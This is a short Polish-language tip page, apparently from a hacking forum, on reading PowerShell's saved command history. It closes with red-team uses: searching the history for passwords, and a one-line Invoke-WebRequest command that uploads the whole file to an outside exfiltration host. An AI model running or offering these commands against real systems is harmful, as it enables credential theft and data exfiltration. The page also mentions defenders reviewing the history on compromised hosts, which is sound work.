ALPHACON BBSGość · pl
← Protipy

Protipy / PowerShell

cat (Get-PSReadLineOption).HistorySavePath - wyświetl historię poleceń Powershella

cat (Get-PSReadLineOption).HistorySavePath

Wstęp

Get-PSReadLineOption zwróci kilka ustawień dotyczących konsoli, w HistorySavePath zawarta jest ścieżka do historii poleceń - analogicznie do ~/.bash_history znanego unixowcom.

Zwyczajowo na Windowsach będzie to:

        PS C:\Users\drg> (Get-PSReadLineOption).HistorySavePath
        C:\Users\drg\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
        PS C:\Users\drg>

a na *nixach:

        PS /Users/drg> (Get-PSReadLineOption).HistorySavePath
        /Users/drg/.local/share/powershell/PSReadLine/ConsoleHost_history.txt
        PS /Users/drg>

Do czego się może przydać?

W przypadku RedTeamów myślę, że warto poszukać wrażliwych wyrazów takich jak passw:

        cat (Get-PSReadLineOption).HistorySavePath|sls passw 

albo w ogóle całą historię szybko wyeksfiltrować (np. wykorzystując 001a) i analizować offline:

        iwr -me po -i (Get-PSReadLineOption).HistorySavePath http://exfil.aptmc.pl:2048/

Z kolei BlueTeamy i ThreatHunterzy mogą rzucić okiem na tę historię podczas analizy skompromitowanych hostów.

Linki